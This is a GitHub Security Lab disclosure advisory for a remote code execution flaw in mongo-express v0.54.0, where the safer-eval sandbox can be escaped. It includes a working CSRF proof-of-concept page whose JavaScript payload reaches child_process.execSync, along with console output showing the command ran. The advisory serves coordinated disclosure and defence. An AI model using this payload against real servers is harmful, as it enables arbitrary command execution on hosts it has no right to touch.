skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
April 1, 2021

GHSL-2020-131: Remote Code Execution in mongo-express - CVE-2020-24391

Agustin Gianni

Coordinated Disclosure Timeline

Summary

Mongo-express uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to RCE in the context of the node server.

Product

mongo-express

Tested Version

v0.54.0

Details

Issue 1: RCE by abusing safer-eval

Mongo-express uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to RCE in the context of the node server.

Impact

This issue may lead to RCE.

Resources

In order to verify the vulnerability, we have provided a proof of concept that when visited by an authenticated user, it will issue a POST request automatically without the user noticing. The executed endpoint is /checkValid which reads javascript code from the form submission and executes it. With a specially crafted payload, we were able to get a reference to the process object and thus were able to execute arbitrary commands on the system.

Even though this vulnerability is exploited by taking advantage of the lack of CSRF protection, this is not the only attack vector possible. An attacker with valid user credentials can use this vulnerability to escalate privileges and execute code in the host.

Place the following contents in a file named index.html.

<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>mongo-express</title>
</head>

<body>
    <form id="myform" action="http://localhost:8081/checkValid" method="POST">
        <input type="text" name="document" value="" />
        <input type="submit" value="Submit" />
    </form>
    <script>
        const form = document.getElementById("myform");

        // Set the payload.
        form[0].value = `
            (() => {
                const process = clearImmediate.constructor("return process;")();
                const result = process.mainModule.require("child_process").execSync("id");
                console.log("Result: " + result);
                return true;
            })()
        `;

        form.submit();
    </script>
</body>

</html>

Start a webserver on the same directory where the previous file was created:

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [22/Jun/2020 15:39:30] "GET / HTTP/1.1" 200 -

Browse to http://localhost/ it is important that there is a currently logged-in user in the target mongo-express server and that the session has been initiated in the same browser.

By inspecting the mongo-express console, it can be seen that the request has been made successfully and we have successfully executed the id command.

[0] Mongo Express server listening at http://localhost:8081
[0] basicAuth credentials are "admin:pass", it is recommended you change this in your config.js!
[0] Database connected
[0] Connected to local...
[0] Result: uid=501(anon) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
[0] 
[0] POST /checkValid 200 38.168 ms - 5

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-131 in any communication regarding this issue.